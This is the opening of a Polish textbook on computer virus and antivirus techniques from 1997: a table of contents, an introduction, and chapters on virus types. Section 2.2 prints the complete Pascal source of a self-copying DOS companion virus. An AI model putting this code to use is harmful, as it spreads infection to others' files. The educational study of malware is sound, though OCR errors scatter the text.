SPIS ROZDZIAŁÓW
Wstęp ............................................ XV
Rozdział 1. Podstawowe wiadomości o wirusach ..............................1
Rozdział 2. Rodzaje wirusów ..............................................................5
Rozdział 3. Podział wirusów ze względu na sposób działania po uruchomieniu ..................................................................17
Rozdział 4. Obiekty atakowane przez wirusy ....................................33
Rozdział 5. Instalacja w pamięci operacyjnej ....................................97
Rozdział 6. Przejmowanie przerwań i znajdowanie czystych wejść do systemu ........................................................................109
Rozdział 7. Ukrywanie się w systemie operacyjnym .......................143
Rozdział 8. Szyfrowanie kodu ..........................................................173
Rozdział 9. Inne mechanizmy stosowane przez wirusy ...................213
Rozdział 10. Przyszłość wirusów .......................................................235
Rozdział 11. Rodzaje programów antywirusowych ............................241
Rozdział 12. Techniki używane przez programy antywirusowe .........247
Rozdział 13. Konwencje stosowane przez programy antywirusowe -standard CARO ............................................................299
Rozdział 14. Profilaktyka antywirusowa ............................................311
Rozdział 15. Literatura .......................................................................319
SPIS TREŚCI
Wstęp XV
Rozdział 1. Podstawowe wiadomości o wirusach .......... 1
1.1. Co to jest i jak działa wirus komputerowy ............................... 3
1.2. Języki programowania wykorzystane do pisania wirusów ...... 4
Rozdział 2. Rodzaje wirusów .......................................... 5
2.1. Wirusy pasożytnicze (ang. parasite infectors) ....................... 7
2.2. Wirusy towarzyszące (ang. companion infectors) ................. 8
2.3. Wirusy plików wsadowych (ang. batchviruses)....................... 12
2.4. Makrowirusy, wirusy makrosów (ang. macroviruses) .............. 13
2.5. Generatory wirusów ................................................................ 14
2.6. Robaki (ang. worms) .............................................................. 14
2.7. Konie trojańskie (ang. trojan horses) ...................................... 14
2.8. Bomby logiczne (ang. logical bombs)...................................... 15
Rozdział 3. Podział wirusów ze względu na sposób działania
po uruchomieniu ............................................................ 17
3.1. Wirusy nierezydentne (ang. non-resident yiruses) ............... 19
3.2. Wirusy rezydentme (ang. resident viruses) .......................... 21
3.2.1. Szybkie infektory (ang. fast infectors) .................................. 31
3.2.2. Wolne infektory (ang. slow infectors) ................................... 32
Rozdział 4. Obiekty atakowane przez wirusy .................. 33
4.1. Pliki...................................................................................35
4.1.1. Pliki wykonywalne COM ............................. 35
4.1.2. Pliki wykonywalne EXE ............................... 45
4.1.2.1. Pliki EXE dla systemu DOS (stare EXE) ..................... 45
4.1.2.2. Pliki EXE dla trybu chronionego (nowe EXE) .................. 57
4.1.2.2.1. Pliki EXE dla Windows (NE) ............................. 59
4.1.3. Pliki zawierające sterowniki urządzeń SYS (BIN, DRV) .... 66
4.1.4. Pliki systemowe DOS ............................... 75
4.1.4.1. Interpretator poleceń .................................... 75
4.1.4.2. Jądro systemu (ang, kemel infector) ........................ 75
4.1.5. Pliki wsadowe BAT ................................. 76
4.1.6. Pliki DOC ......................................... 77
4.1.7. Pliki XLS.......................................... 79
4.1.8. Pliki ASM ......................................... 80
4.2. Sektory systemowe .................................. 86
4.2.1. Główny Rekord Ładujący (ang. Master Boot Record - MBR) 86
4.3. Rekord ładujący (ang. BOOt-sector)..................... 92
4.4. Jednostki Alokacji Plików (JAP) (ang. dusters) ............ 94
4.5. Wirusy kombinowane (ang. multipartition) ................ 96
Rozdział 5. Instalacja w pamięci operacyjnej ............. 97
5.1. Instalacja w tablicy wektorów przerwań .................. 99
5.2. Instalacja w obszarze zmiennych DOS .................. 100
5.3. Instalacja w pamięci poniżej 640kB i UMB ............... 100
5.4. Instalacja w pamięci HMA ............................. 106
5.5. Nietypowe metody instalacji ........................... 107
5.5.1. Pamięć ekranu .................................... 107
5.5.2. Bufory dyskowe DOS ............................... 108
Rozdział 6. Przejmowanie przerwań i znajdowanie czystych
wejść do systemu ................................... 109
6.1. Najczęściej przejmowane i wykorzystywane przerwania ..... 111
6.2. Wykorzystanie funkcji DOS ............................ 117
6.3. Bezpośrednie zmiany w tablicy wektorów przerwań ,.,,,., 118
6.4. Włączanie się do istniejącego łańcucha obsługi przerwania
i znajdowanie czystych wejść do systemu (ang. tunnelling) .... 119
6.4.1. Korzystanie ze stałych adresów w systemie (przerwania
21hl2Fh) ............................................ 120
6.4.2. Wykorzystanie trybu krokowego procesora (ang. tracing)... 122
6.4.3. Tuneling rekursywny (ang, recursive tunnelling)........... 122
6.4.4. Trik 2F/13 ........................................ 124
6.5. Wykorzystanie trybu chronionego ....................... 141
6.6. Włączanie się jako program obsługi urządzenia ........... 142
Rozdział 7. Ukrywanie się w systemie operacyjnym ........ 143
7.1. Technika stealth ..................................... 145
7.1.1. Podawanie prawdziwych długości plików (ang, semi-stealth) 146
7.1.1.1. Polecenie DIR wywoływane z poziomu DOS ................. 146
7.1.1.2. Programy nakładkowe używające krótkich nazw programów
(DOS, Windows 3.1)...................................... 149
7.1.1.3. Programy wykorzystujące długie nazwy plików (Windows95)
oraz polecenie DIR wywoływane z poziomu okna Tryb MS-DOS . 150
7.1.2. Podawanie oryginalnych długości i zawartości plików
(ang.full stealth)....................................... 152
7.1.3. Podawanie prawdziwej zawartości sektorów (ang. Sectorlevel stealth) .............................................. 169
7.1.4. Fałszowanie odczytywanych sektorów na etapie obsługi przerwań sprzętowych (ang. hardware level stealth) ............... 169
7.2. Modyfikacja CMOS-a ................................. 170
7.3. Atrybut etykiet dysku (ang. VolumeID) .................. 171
7.4. Dodatkowe ścieżki na dyskach ......................... 171
Rozdział 8. Szyfrowanie kodu ......................... 173
8.1. Procedury szyfrujące kod ............................. 177
8.2. Procedury dekodujące ................................ 178
8.2.1. Polimorficzne procedury dekodujące ................... 179
8.2.1.1. Semi-polimorfizm ........................................ 179
8.2.1.2. Pełny polimorfizm ........................................ 193
Rozdział 9. Inne mechanizmy stosowane przez wirusy ..... 213
9.1. Sposoby dostępu do dysków .......................... 215
9.2. Sztuczki antydebuggerowe, antydeasemblerowe, antyemulacyj-
ne i antyheurystyczne .................................... 227
9.3. Optymalizacje kodu .................................. 231
9.4. Retrostruktury (techniki anty-antywirusowe), czyli walka z zainstalowanymi monitorami antywirusowymi .................... 232
Rozdział 10. Przyszłość wirusów ......................... 235
10.1. Wirusy dla różnych systemów (ang. multisystem, multiplatform
viruses) ............................................. 237
10.2. Wirusy infekujące wewnątrzplikowo (ang, surface infectors) 238
10.3. Wirusy zmienne genetycznie (mutujące swój kod) ........ 238
10.4. Wirusy infekujące nowe, nie infekowane dotychczas obiekty 239
Rozdział 11. Rodzaje programów antywirusowych ......... 241
11.1. Skanery (ang. scaners) ............................. 243
11.2. Monitory (ang. behaviour blockers, interceptors, resident
monitors) ............................................ 243
11.3. Szczepionki (ang. disinfectors) ....................... 244
11.4. Programy autoweryfikujące .......................... 244
11.5. Programy zliczające sumy kontrolne (ang. integniy checkers). 245
Rozdział 12. Techniki używane przez programy antywirusowe ....................................... 247
12.1. Skaning .......................................... 249
12.2. Heurystycze wyszukiwanie wirusów .................... 272
12.3. Tryb krokowy ...................................... 284
12.4. Emulacja procesora ................................. 284
12.5. Przynęty (ang. baits, decoys) ......................... 285
12.6. Odświeżanie programów systemowych w sektorach ....... 285
12.7. Blokowanie programów używających trybu krokowego ..... 286
12.8. Pobieranie wielkości pamięci operacyjnej ............... 291
Rozdział 13. Konwencje stosowane przez programy antywiru-
sowe - standard CARO .............................. 299
Rozdział 14. Profilaktyka antywirusowa .................. 311
14.1. Ochrona przed wirusami plików uruchamialnych ......... 313
14.2. Ochrona przed bombami logicznymi i końmi trojańskimi ... 315
14.3. Ochrona przed makrowirusami ........................ 316
Rozdział 15. Literatura ............................... 319
Wstęp
Tematem niiejszego opracowania są wirusy komputerowe jeden z najbardziej tajemniczych i kontrowersyjnych tworów istniejących w świecie komputerów.
Od początku swego istnienia wirusy komputerowe były owiane mgłą tajemnicy zaś ich twórców uznawano za ludzi wiedzących znacznie więcej niż zwykli śmiertelnicy. Tymczasem wirus to zwykły program komputerowy który choć może bardziej wyrafinowany od innych jest na pewno o wiele łatwiejszy do napisania niż jakakolwiek aplikacja użytkowa czy gra.
Większość spotykanych wirusów to prymitywne przeróbki, bazujące na istniejących od dawna, klasycznych już i uznawanych za wzorcowe wirusach, takich Jak Jerusalem, Vienna, Stoned, Vacsina czy wirusy Dark Avengera. Przeróbki ograniczają się najczęściej do zmiany tekstu wewnątrz wirusa lub ewentualnie sekwencji kodu, czego wynikiem jest kolejna z licznych mutacji znanego wirusa. Oprócz nich istnieje bardzo mała grupa wirusów, których pojawienie się na komputerowej scenie wiązało się z zastosowaniem przez ich autorów nowych, nieznanych jeszcze nikomu sztuczek. Do tych ostatnich zaliczają się niewątpliwie wirusy wspomnianego już wyżej Dark Avengera, najsłynniejszego chyba twórcy wirusów komputerowych. On to właśnie jako pierwszy zastosował metodę zmiennych procedur szyfrujących w swym polimorficznym enginie MtE, a także jako jeden z pierwszych potrafił omijać zainstalowane monitory antywirusowe, czy odnajdywać oryginalne wejścia do znajdujących się w BIOS-ie procedur obsługi przerwania 13h.
Pojawienie się nowego wirusa infekującego nie zajętą jeszcze do tej pory platformę sprzętową lub programową budzi zwykle nie lada sensację, zwłaszcza gdy w sprawę wmieszają się media, żerujące na
tego typu historiach. Pomimo że najczęściej trywialny, wirus taki otwiera bowiem kolejną furtkę dla całej rzeszy późniejszych racjonalizatorów oraz wywołuje istną lawinę komentarzy na temat bezpieczeństwa systemów komputerowych.
tak widać, twórcy wirusów tworzą środowisko rządzące się swoimi własnymi prawami. Cały czas trwa wyścig nad wymyśleniem jeszcze lepszych lub całkowicie nowych, nieznanych wirusów. Ciekawa przykład twórczego podejścia do programowania wirusów zademonstrował autor ukrywający się pod pseudonimem Stormbringer w wirusie JUMP. Nazwa wirusa nie jest przypadkowa, gdyż, po de-asemblacji listing tego wirusa składa się tylko i wyłącznie z samych rozkazów skoków (właściwy kod został sprytnie ukryty wewnątrz wirusa).
Prymat w programowaniu wirusów wiodą niezaprzeczalnie mieszkańcy państw byłego bloku wschodniego, głównie Bułgarzy, Rosjanie i Słowacy. Dzieje się tak głównie z powodu braku, w tych krajach unormowań prawnych dotyczących przestępstw komputerowych, które istnieją już w wielu państwach zachodnich.
W dobie globalnej ekspansji sieci Internet w zasadzie każda osoba chcąca dowiedzieć się czegoś o wirusach może dostać się do bogatych, istniejących na całym świecie archiwów, poświęconych w całości programowaniu wirusów. Oferują one wirusy w wersji źródłowej, generatory wirusów, kolekcje złapanych egzemplarzy wirusów, a także tzw. ziny, czyli prowadzone przez wyspecjalizowane grupy magazyny (w postaci plików tekstowych lub stron HTML), poświęcone programowaniu wirusów (np.: 40HEX, VLAD, NukE InfoJournal, VBB, Immortal Riot). Za sprawą Intemetu w skład grup prowadzących te magazyny wchodzą ludzie ze wszystkich stron świata, którzy, co ciekawe, najczęściej deklarują się jako zagorzali przeciwnicy wirusów destrukcyjnych, a samo programowanie wirusów traktują jako swoistą sztukę. Po części mają rację, gdyż pisanie wirusów jest nie tylko świetną okazją do dogłębnego poznania systemu operacyjnego, ale i sprawdzenia własnych umiejętności programistycznych.
Liczba wirusów złapanych na świecie rośnie z roku na rok i nic me wykazuje na to, aby tendencja ta miała ulec gwałtownej zmianie. W kolekcji wirusów należącej do jednej z czołowych firm amerykańskich produkującej programy antywirusowe znajduje się obecnie ponad 20000 próbek wirusów, z czego ok. 6000 to wirusy całkowicie
różne. Należy pamiętać, iż istnienie wirusów komputerowych jest ściśle związane z niedoskonałością zarażanych przez nie systemów operacyjnych. Twórcy wirusów skrzętnie wykorzystują do swych celów wszelkie możliwe luki w systemie: nieudokumentowane funkcje, systemowe struktury danych, a nawet odnalezione własnoręcznie błędy w kodzie systemu. To właśnie wirusy - paradoksalnie - pośrednio wpływają na wzrost bezpieczeństwa systemów komputerowych, gdyż kolejne wersje różnych środowisk zwykle starają się załatać istniejące luki w systemie.
Osobne miejsce w dyskusjach na temat wirusów zajmują programy antywirusowe (w literaturze często określane skrótem AV). O ile pisanie wirusów jest raczej indywidualnym procesem twórczym, o tyle pisanie skutecznych programów antywirusowych stało się domeną całych grup programistycznych, których członkowie muszą posiadać o wiele większą wiedzę na temat wirusów niż typowy twórca wirusów. Usuwanie wirusów jest procesem naprawczym, a to wiąże się z odpowiedzialnością, którą muszą wziąć na siebie twórcy programów AV. Autorzy wirusów nie muszą przejmować się ewentualnymi szkodami powstałymi na skutek ich błędu lub nawet zwykłej niewiedzy. W przypadku programów AV nie można pozwolić sobie nawet na najmniejsze potknięcie. O ile dodawanie do skanera kolejnych sygnatur typowych i trywialnych wirusów to zajęcie zajmujące niewiele czasu, o tyle dekodo-wanie i rozszyfrowywanie kodu najnowszych wirusów, używających kilkustopniowych zmiennych procedur szyfrujących, sztuczek anty-emulacyjnych, antydebuggerowych i antydeasemblerowych, zarażających dużą ilość obiektów i będących zwykle wolnymi infektorami, to zadanie zajmujące bardzo dużo czasu, a i tak często okazuje się, iż zastosowana metoda nic umożliwia odnalezienia wszystkich wariantów wirusa.
Aby przyspieszyć wymianę informacji na temat wirusów, autorzy różnych programów antywirusowych z całego świata utworzyli coś w rodzaju organizacji, która zajmuje się zbieraniem danych o istniejących wirusach oraz o technikach ich wykrywania i usuwania.
Poniższe rozdziały powinny przynajmniej częściowo wyjaśnić mechanizmy wykorzystywane przez nowoczesne wirusy i programy antywirusowe. Oprócz typowych i trywialnych sztuczek, stosowanych od dawna przez wyżej wymienione programy, omówionych zostało kilka bardziej zaawansowanych technik, m.in.:polimorfizm (wykorzystywanie zmiennych procedur szyfrujących);
> stealth (zaawansowane ukrywanie się w systemie);
> heurystyka (wykrywanie nowych, nieznanych wirusów na podstawie znajomości charakterystycznych ciągów instrukcji).
Do zrozumienia całości materiału niezbędna jest podstawowa znajomość komputerów PC oraz systemów DOS i WINDOWS. Niezbędna jest także przynajmniej pobieżna znajomość asemblera procesorów 80x86 i jakiegoś języka wysokiego poziomu (np.: Pascal, C). Niezorientowanego czytelnika odsyłam do pozycji umieszczonych w spisie na końcu książki.
Dla uproszczenia, w opracowaniu została zastosowana pewna konwencja, dotycząca używania w tekście funkcji systemu DOS i BIOS. Występujące w tekście skróty (XXXX/YY) oznaczają użycie funkcji XXXX przerwania programowego YY. Zapis (4B00/21) oznaczać więc będzie instrukcję uruchomienia programu przy użyciu funkcji 4B00h przerwania programowego 21h obsługiwanego przez DOS, a (4E/4F/21) oznaczać będzie wywołanie funkcji 4Eh lub 4Fh przerwania programowego 21h, w tym przypadku realizujących poszukiwania pierwszej (funkcja 4Eh) lub kolejnej (funkcja 4Fh) pozycji katalogu. Dokładny opis funkcji systemu DOS i BIOS można znaleźć w wielu różnych opracowaniach, z których najlepszym i najpełniejszym wydaje się stale rozwijana, dostępna w angielskojęzycznej wersji elektronicznej, lista przerwań Interrupt List Ralpha Browne'a.
Na koniec warto jeszcze dodać kilka uwag o słownictwie używanym w opracowaniu. Większość terminów związanych z komputerami jest siłą rzeczy pochodzenia angielskiego. Próby tworzenia ich polskich odpowiedników mijają się najczęściej z celem, gdyż powstałe w ten sposób neologizmy nie odzwierciedlają w pełni sensu słów angielskich. Liczne przykłady z literatury komputerowej (i nie tylko) ostatnich kilku lat dowiodły, iż jedynym sensownym wyjściem z tej sytuacji jest integracja pewnych terminów obcojęzycznych z językiem polskim. Z tego też powodu w opracowaniu używane są (w niezbędnym minimum) terminy angielskie opatrzone odpowiednimi komentarzami w języku polskim. W sytuacji niemożności znalezienia adekwatnego polskiego odpowiednika dla słowa angielskiego używane będzie słowo obce (np. stealth).
1.1. Co to jest i jak działa wirus komputerowy
Wirus komputerowy definiowany jest najczęściej jako krótki program mający zdolność samopowielania po jego uruchomieniu. Jest on zwykle przenoszony w zainfekowanych wcześniej plikach lub w pierwszych sektorach fizycznych logicznych dysków. Proces infekcji polega zazwyczaj na odpowiedniej modyfikacji struktury pliku albo sektora. Zainfekowaną ofiarę często nazywa się nosicielem (ang. host), a proces samopowielania - replikacją. Długość typowego wirusa waha się w granicach od kilkudziesięciu bajtów do kilku kilobajtów i w dużym stopniu zależy od umiejętności programistycznych jego twórcy, a także od języka programowania użytego do jego napisania. Od umiejętności i zamierzeń autora zależą także efekty, jakie wirus będzie wywoływał w zainfekowanym systemie (oczywiście, nie zawsze musi być to próba formatowania dysku twardego).
Większość z istniejących wirusów zawiera tylko kod odpowiedzialny za replikację (ang. dropper), natomiast "specjalne efekty" to zwykle działania uboczne spowodowane przez błędy.
Z powyższego wynika jednoznacznie, iż pomijając istniejącą zawsze możliwość sabotażu, zarażenie komputera wirusem nastąpić może tylko przy niejawnej współpracy użytkownika, który, bądź to uruchamiając zarażony program, bądź próbując wczytać system z zarażonej dyskietki, a nawet odczytując zainfekowany dokument, nieświadomie sam instaluje wirusa w używanym przez siebie komputerze.
1.2. Języki programowania wykorzystywane do pisania wirusów.
Do zaprogramowania wirusa wystarczy znajomość dowolnego popularnego języka programowania, np. Pascala czy C, jednak największy procent wirusów pisany jest w czystym asemblerze. Spowodowane jest to głównie specyfiką kodu generowanego przez ten język, a zwłaszcza jego zwięzłością. Kod maszynowy programu, który z punktu widzenia użytkownika nie robi nic, w językach wysokiego poziomu zajmie od kilkuset bajtów do kilku, a nawet kilkuset kilobajtów. W asemblerze podobny program zajmie od jednego (instrukcja RET w pliku COM) do czterech bajtów (wywołanie funkcji 4Ch przerwania 21h). Spowodowane jest to tym, iż do każdego wygenerowanego przez siebie programu kompilatory języków wysokiego poziomu dodają standardowe prologi i epilogi, niewidoczne dla piszącego w danym języku programisty, które są odpowiedzialne m.in. za obsługę błędów, stosu, operacje we/wy itp. Można powiedzieć, iż długość programu wynikowego (rozumianego jako kod maszynowy) jest wprost proporcjonalna do poziomu języka programowania, w którym został on napisany. Na korzyść asemblera przemawia także fakt, iż z jego poziomu mamy bardzo dużą swobodę w dostępie do pamięci czy portów, a programista ma możliwość świadomego wpływu na kształt przyszłego programu, np. w zakresie używanych instrukcji czy rozwiązań programowych. Jak widać, programy napisane w asemblerze są optymalne pod względem szybkości działania i długości kodu, a więc język ten jest jakby stworzony do programowania wirusów. Jedyną wadą asemblera jest to, iż programów w nim napisanych nie można przenosić na komputery o innej architekturze, stąd mogą one egzystować tylko w jednej rodzinie komputerów.
Oprócz typowych języków programowania do zaprojektowania wirusa można wykorzystać języki makr, wbudowane w nowoczesne edytory tekstów lub arkusze kalkulacyjne. Zawarte w nich mechanizmy pozwalają na infekcję każdego otwieranego przez program dokumentu lub arkusza. Ze względu na poziom abstrakcji na Jakim operują języki makr, są one wymarzonym narzędziem do tworzenia wirusów, zwłaszcza dla początkujących programistów. Nie muszą się oni bowiem przedzierać przez dokumentację systemu czy też formaty infekowanych plików. Wszystkie operacje na fizycznych obiektach są zaimplementowane w makrach i wykonują się bez konieczności ingerencji programisty.
ROZDZIAŁ 2
2.1. Wirusy pasożytnicze (ang. parasite infectors)
W zasadzie większość istniejących wirusów to wirusy pasożytnicze, które wykorzystują swoje ofiary do transportu, modyfikując ich strukturę wewnętrzną. Jedynym ratunkiem dla zainfekowanych obiektów jest użycie szczepionki lub w ostateczności kopii zapasowych, gdyż zzarażane pliki z reguły nie są przez wirusa leczone. Wyjątek stanowią nieliczne wirusy wykorzystujące pliki tylko do transportu między komputerami, mające za główny cel infekcję tablicy partycji lub BOOT sektora dysku twardego. Po zainfekowaniu któregoś z tych obiektów wirus zmienia działanie i leczy wszystkie używane pliki znajdujące się na twardym dysku, a infekuje jedynie pliki już znajdujące się na dyskietkach lub dopiero na nie kopiowane.
Ze
względu na miejsce zajmowane w zainfekowanych plikach wirusy
pasożytnicze dzieli się na:
> Wirusy nadpisujące (ang.
overwrite infectors), lokujące się na początku pliku, często nie
zapamiętujące poprzedniej zawartości pliku (co w efekcie
nieodwracalnie niszczy plik);
> Wirusy lokujące się na
końcu pliku (ang. end of file infectors), najbardziej
rozpowszechniona odmiana wirusów pasożytniczych,
które modyfikują pewne ustalone struktury na początku pliku tak,
aby wskazywały na wirusa, po czym dopisują się na jego końcu;
>
Wirusy nagłówkowe (ang. header infectors), lokujące się w
nagłówku plików EXE przeznaczonych dla systemu DOS; wykorzystują
one fakt, iż nagłówek plików EXE jest standardowo ustawiany przez
programy linkujące na wielokrotność jednego sektora (512 bajtów).
Zwykle wirusy te nie przekraczają rozmiaru jednego sektora i
infekuje poprzez przejęcie funkcji BIOS służących do odczytu
i zapisu sektorów (02,03/13);
> Wirusy lokujące się w pliku w miejscu gdzie jest jakiś pusty, nie wykorzystany obszar (np. wypełniony ciągiem zer), który można nadpisać nie niszcząc pliku (ang. cave infectors),
> Wirusy lokujące się w dowolnym miejscu pliku (ang. surface infectors), dość rzadkie, bardzo trudne do napisania;
> Wirusy wykorzystujące część ostatniej Jednostki Alokacji Pliku JAP (ang. slack space infector), korzystające z faktu, iż plik rzadko zajmuje dokładnie wielokrotność jednej JAP.
2.2. Wirusy towarzyszące (ang. companion infectors)
Wirusy tego typu są najczęściej pisane w językach wysokiego poziomu. Atakują one pliki, a ich działanie opiera się na hierarchii stosowanej przez DOS podczas uruchamiania programów.
W momencie uruchomiania programu, w przypadku nie podania rozszerzenia uruchamianego pliku, najpierw poszukiwany jest plik o rozszerzeniu COM, potem EXE, a na końcu BAT. W przypadku wykorzystywania interpretatora poleceń 4DOS dochodzą Jeszcze pliki BTM, poszukiwane podczas uruchamiania programu przed plikami BAT. Na przykład, jeżeli w jednym katalogu istnieją 3 pliki:
- PROG.BAT,
- PROG.COM,
- PROG.EXE,
to kolejność ich uruchamiania byłaby następująca:
- PROG.COM,
- PROG.EXE,
- PROG.BAT.
Plik PROG.COM będzie się uruchamiać, ilekroć będziemy podawać nazwę PROG bez rozszerzenia lub z rozszerzeniem COM. Plik PROG.EXE można w tym wypadku uruchomić wyłącznie poprzez podanie jego pełnej nazwy, bądź też poprzez uprzednie usunięcie pliku PROG.COM z danego katalogu. Z kolei uruchomienie pilku BAT wymaga albo usunięcia z katalogu obu plików: PROG-COM i PROG.EXE, albo też podania w linii poleceń całej jego nazwy. Jak widać, wirus ma kilka możliwości, aby zainfekować uruchamiany program:
- Istnieje plik COM: nie można zastosować infekcji;
- Istnieje plik EXE: można utworzyć plik o takiej samej nazwie, o rozszerzeniu COM, zawierający wirusa;
- Istnieje plik BAT: można utworzyć plik o takiej samej nazwie, o rozszerzeniu COM lub EXE, zawierający wirusa.
Następna próba uruchomienia tak zarażonego programu spowoduje najpierw uruchomienie podszywającego się pod program wirusa, a dopiero ten, po zakończeniu pracy, przekaże sterowanie do programu macierzystego, najczęściej poprzez wywołanie programu interpretatora poleceń z parametrem: /C NazwaPlikuOfiary.
Ciekawym rozszerzeniem techniki opisanej powyżej jest sposób infekcji stosowany przez wirusy towarzyszące, wykorzystujące zmienną środowiskową PATH (ang. path companion infectors). Zmienna PATH określa listę katalogów przeszukiwanych przez system DOS podczas uruchamiania programu. Wirus wykorzystujący tę technikę tworzy plik, zawierający kod wirusa w innym katalogu, znajdującym się w zmiennej środowiskowej PATH przed katalogiem, w którym znajduje się zarażana ofiara. W tym wypadku infekcję można zastosować dla dowolnego z plików COM, EXE, BAT, gdyż kolejność uruchamiania zależna jest przede wszystkim od zawartości zmiennej PATH. Na przykład, jeżeli zmienna środowiskowa PATH określona jest jako:
PATH = C:\;C:\DOS;C:\WINDOWS,
a w katalogu C:\DOS umieścimy plik WIN.BAT, to podczas kolejnego wywoływania systemu WINDOWS (poprzez uruchomienie programu C:\WINDOWS\WIN.COM bez podawania ścieżki, czyli najczęściej WIN [ENTER]) z katalogu innego niż C:\WINDOWS system uruchomi najpierw plik C:\DOS\WIN.BAT, a ten dopiero uruchomi właściwy program C:\WINDOWS\WIN.COM. Poniżej przedstawiono przykład prostego wirusa towarzyszącego. Jest on napisany w języku Pascal i infekuje parę plików COM, EXE.
(*;------------------------------------------------------------------------;*)
(*; ;*)
(*; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;*)
(*; ;*)
(*; KOMPAN v1.0, Autor : Adam Blaszczyk 1997 ;*)
(*; ;*)
(*; Prosty wirus typu towarzyszacego ;*)
(*; Infekuje pliki EXE w biezacym katalogu ;*)
(*; Do istniejacego pliku EXE dopisuje plik o rozszerzeniu COM ;*)
(*; ;*)
(*;------------------------------------------------------------------------;*)
{$A-,B-,D-,E-,F-,G-,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X-,Y-}
{$M 8192,0,16384}
uses
Dos, Crt;
const
MaskaEXE = '*.EXE';
var
Szuk : SearchRec;
NazwaNosiciela,
NazwaOfiary : String;
PlikNosiciela,
PlikOfiary : File;
DlugoscNosiciela : LongInt;
Bufor : Pointer;
I : Byte;
Status : Boolean;
begin
WriteLn;
WriteLn (' KOMPAN v1.0, Autor : Adam Blaszczyk 1997');
WriteLn;
NazwaNosiciela := ParamStr (0);
WriteLn (' Czy chcesz uruchomic wirusa (T/N) ?');
if UpCase(ReadKey)='T' then
begin
WriteLn;
Status :=False;
FindFirst (MaskaEXE, AnyFile, Szuk);
while (DosError = 0) and (IOResult = 0) and (not Status) do
begin
with Szuk do
if not ((Name='.') or
(Name='..') or
(not (Attr and Directory and VolumeID<>0))) then
begin
NazwaOfiary:=Name;
Delete (NazwaOfiary, Pos ('EXE',NazwaOfiary),3);
NazwaOfiary:=NazwaOfiary+'COM';
Assign (PlikOfiary, NazwaOfiary);
Reset (PlikOfiary,1);
if IOResult <> 0 then
begin
Status:=True;
WriteLn (' Tworze KOMPANA : ',NazwaOfiary);
Assign (PlikNosiciela, NazwaNosiciela);
Reset (PlikNosiciela, 1);
DlugoscNosiciela := FileSize (PlikNosiciela);
GetMem (Bufor,DlugoscNosiciela);
BlockRead (PlikNosiciela, Bufor^, DlugoscNosiciela);
ReWrite (PlikOfiary,1);
BlockWrite (PlikOfiary , Bufor^, DlugoscNosiciela);
Close (PlikNosiciela);
Close (PlikOfiary);
FreeMem (Bufor, DlugoscNosiciela);
end;
end;
FindNext (Szuk);
end;
If Not Status then WriteLn (' Nie znalazlem zadnego kandydata do infekcji !');
end;
Delete (NazwaNosiciela,Pos ('.COM',NazwaNosiciela),4);
NazwaNosiciela := '/C '+NazwaNosiciela+'.EXE';
for I:=1 to ParamCount do
NazwaNosiciela := NazwaNosiciela +' '+ParamStr(I);
SwapVectors;
Exec(GetEnv('COMSPEC'), NazwaNosiciela);
SwapVectors;
end.
2.3. Wirusy plików wsadowych (ang. batchviruses)
Wirusy plików wsadowych wykorzystujące do transportu pliki BAT, istnieją od dość dawna, pomimo raczej ubogiego zestawu środków, jakimi dysponuje ich potencjalny twórca. Może wydawać się to niedorzeczne, lecz często potrafią infekować nie tylko pliki BAT, ale także pliki COM, EXE czy sektor tablicy partycji (wymaga to odpowiedniego, wcale nie tak trudnego, zaprogramowania).
Po uruchomieniu zainfekowanego pliku wsadowego tworzony jest plik uruchamiamy COM lub EXE (za pomocą polecenia ECHO, którego parametry są przekierowywane do pliku), zawierający właściwy kod infekujący pliki BAT. Po utworzeniu jest on wykonywany, a następnie kasowany.
Ze względu na to, iż procesor nie rozróżnia kodu i danych, można, poprzez sprytną manipulację, utworzyć plik, który będzie mógł się wykonać zarówno Jako typowy plik BAT, jak i plik COM.
Na przykład typowe polecenia plików wsadowych, wykonywane przez procesor jako część kodu programu COM, będą rozumiane jako:
|
polecenie pliku BAT |
instrukcje widziane przez procesor |
|
REM |
52h PUSH DX ; db 'R' 45h INC BP ; db 'E' 4Dh DEC BP ; db 'M' |
|
ECHO |
45h INC BP : db 'E' 43h INC BX : db 'C' 48h DEC AX ; db 'H' 4Fh DEC Dl ; db 'O' |
|
@ |
40h INC AX ; db '@' |
|
7t0 (deklaracja etykiety - interpretator nie wykonuje) |
3Ah 37h CMP DH.[BX]; db ':7' 74h 30h JZ $+30h ; 't0' |
Po uruchomieniu zainfekowanego w ten sposób pliku BAT wirus kopiuje się do pliku tymczasowego o rozszerzeniu COM i wykonuje się, tym razem jako kod maszynowy.
Poniżej zamieszczono przykład prostego pliku (na dyskietce, w katalogu COMBAT), który wykonuje się niezależnie od tego, czy jest wywoływany z rozszerzeniem BAT czy COM. Po uruchomieniu wyświetla on napis informujący o rozszerzeniu, z jakim został wywołany.
:7█:
@ECHO OFF
@ECHO Dzialam jako plik BAT !
@GOTO KONIEC
¬II-I@ªM_-!ªL-!Dzialam jako plik COM !$
:KONIEC
2.4. Makrowirusy, wirusy makrosów (ang. macroviruses)
Tego typu wirusy to jeden z najnowszych pomysłów. Makrowirusy nie zarażają programów uruchamiałnych, lecz pliki zawierające definicje makr. Najpopularniejsze obiekty infekcji to pliki DOC (dokumenty: Microsoft Word), XLS (arkusze kalkulacyjne: Microsoft Excel), SAM (dokumenty: AmiPro).
Do mnożenia się makrowirusy wykorzystują funkcje zawarte w językach makr, wbudowanych w powyższe aplikacje, np. WordBasic w Microsoft Word lub Visual Basie for Applications w programie Microsoft Excel.
2.5. Generatory wirusów
Na przestrzeni ostatnich kilku lat pojawiło się wiele programów umożliwiających stworzenie własnego wirusa, nawet bez znajomości systemu, czy mechanizmów wykorzystywanych przez wirusy. Narzędzia tego typu są dostępne w sieci Internet. Korzystając z gotowych modułów w asemblerze można utworzyć wirusa o zadanych parametrach, wybieranych najczęściej przy pomocy przyjaznego użytkownikowi menu lub specjalnego pliku definicyjnego. Można więc określić zakres obiektów infekowanych przez tworzonego wirusa, rodzaj efektów specjalnych, sposób ewentualnej destrukcji, a także warunki zadziałania efektów specjalnych. Oprócz kodu wynikowego wirusa (gotowego do uruchomienia) generatory tworzą także pełne, najczęściej dobrze opisane źródła w asemblerze, co umożliwia przeciętnemu, ale zainteresowanemu pisaniem wirusów użytkownikowi, dokształcenie się w tej dziedzinie. Najbardziej znane generatory wirusów to: IVP (Instant Virus Production Kit), VCL (Virus Construction Laboratory), PS-MPC (Phalcon-Skism-Mass Produced Code Generator), G2 (G Squared) i NRLG (NukE Randomic Life Generator).
2.6. Robaki (ang. worms)
